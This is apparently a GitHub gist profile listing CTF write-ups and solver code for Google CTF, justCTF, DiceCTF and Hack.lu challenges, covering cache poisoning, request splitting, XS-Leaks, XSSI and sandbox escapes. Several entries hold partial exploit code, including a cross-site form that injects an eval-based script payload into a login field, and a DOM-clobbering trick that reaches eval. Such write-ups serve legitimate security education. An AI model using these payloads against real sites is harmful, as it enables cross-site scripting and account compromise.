Skip to content

Instantly share code, notes, and snippets.

View terjanq's full-sized avatar

terjanq

View GitHub Profile
@terjanq
terjanq / !writeup.md
Last active August 16, 2025 19:15
Positive Players | justCTF2025

Positive Players | Write-up by @terjanq

From justCTF2025

A super secure application generated by the overlords for our positive players. Don't overthink it—it's not too hard—but try to think outside the box!

Vibe coding is the future. Good luck and have fun!

https://g.co/gemini/share/44bdfb8969aa

@terjanq
terjanq / !writeup.md
Last active August 6, 2025 09:20
Busy Traffic | justCTF 2025

Busy Traffic | writeup by @terjanq

justCTF 2025

Challenge TL;DR

The challenge consisted of three components: Traefik v3.4.5 proxy, a Simple Cache plugin for Traefik, and an admin bot that adds a flag to local storage on the challenge domain. The intended solution combined cache poisoning and request splitting to build an arbitrary XSS payload from the available assets.

Solution

@terjanq
terjanq / README.md
Last active August 11, 2025 14:05
Postviewer v5 writeup - Google CTF 2025

Postviewer v5² Writeup by @terjanq

Google CTF 2025

Introduction

Postviewer challenges have become a highlight of the Web category of Google CTF, and this year featured yet another continuation of the series—Postviewer v5². There were two versions of the same challenge; the core challenge was for Chrome, and the other was for Firefox, called Postviewer v5² (FF).

This year, I intended the core challenge to be difficult, and this was indeed the case, given that only two teams managed to retrieve the flag: justCatTheFish and Friendly Maltese Citizens.

@terjanq
terjanq / exploit-chrome.html
Last active June 30, 2025 07:00
Postviewer v5 solver - Google CTF 2025
<script src="http://localhost:1338/static/safe-frame.js"></script>
<script src="http://localhost:1338/static/util.js"></script>
<!-- http://34.44.166.247/exploit-eolldodkgm9 -->
<script>
const RELOAD_TIME = 150;
const SMALL_DELAY = 2;
const MSG_DELAY = 80;
const MSG_INTERVAL = 3000;
@terjanq
terjanq / solution.md
Last active July 17, 2025 12:23
Sourceless @ Google CTF 2025

Sourceless writeup by @terjanq

Google CTF 2025

Challenge TL;DR

Players were given a simple puppeteer bot that visits any URL provided by the players. The flag was stored as file:///flag.txt so the goal was to leak this file somehow

Solution

The intended solution was to leak the flag file through an XSSI with help of

@terjanq
terjanq / solve-convenience-store.kt
Last active April 20, 2025 11:41
DiceCTF 2025 writeups by @terjanq
// This is a solution to misc/convenience-store challenge from DiceCTF 2025.
// It was solved by 7 teams.
//
// TL;DR Timing XS-Leak from an Android app using custom tabs
package com.dicectf2025quals.attackerapp
import android.content.ComponentName
import android.os.Bundle
import androidx.activity.ComponentActivity
import androidx.activity.enableEdgeToEdge
@terjanq
terjanq / !!Postviewer.md
Last active June 28, 2025 08:05
Game Arcade & Postviewer v3 writeups by @terjanq

Postviewer v3 writeup by @terjanq

As it always have been with my challenges for Google CTF, they are based on real bugs I found internally. This year is a bit different though. This time the bugs were crafted by no other than me myself. One bug didn't manage to reach the production and the other is still present in prod making it effectively a 0day!

Both of my challenges (Postviewer v3 & Game Arcade) for this year are related to a sandboxing I've been working since the first postviewer challenge. You can read a little bit about it in

@terjanq
terjanq / README.md
Last active September 3, 2025 01:38
Another Another CSP | justCTF 2024 | writeup

Another Another CSP by @terjanq

image

Background

This year I created a copycat challenge of another-csp from DiceCTF Quals 2024. It was only solved by 1 team, DiceGang. Although the challenge looked almost identical, the solutions should be strictly different.

The intended solution of the original challenge was to leak one bit of information per admin visit based on crashing the browser renderer process with malicious CSS. (The below snippet was crashing the browser, but currently it's fixed)

@terjanq
terjanq / real-monster.html
Created November 6, 2022 10:23
The Real Monster
<iframe name="xxx"></iframe>
<form method=POST target=xxx action="https://ctftime.pl/login">
<input name="username" value='<script>eval(unescape(location.hash.slice(1)))</script>","password":"123"};SameSite=none;Secure;Path=/profile;'>
<input name="password" value="123">
</form>
<script>
(async () =>{
const sleep = d => new Promise(r=>setTimeout(r,d));
@terjanq
terjanq / HTPL-solution.html
Last active November 6, 2022 22:11
Hack.lu 2022 CTF solutions
<!--
This was a sandboxing challenge where the JS language is presenteded in the form of exotic, made-up language.
It's almost properly sandboxed but there is one bug that players needed to find.
The bug I found was to construct HTML comment (<!--) that is understood by JS and which makes it possible to ignore one semicolon
and then to concat array expression with variable name, like $var$['eval']. To get reference to eval we used DOM clobbering
and defined <iframe name=$win$>
-->
<iframe name=$win$></iframe>
<x-program>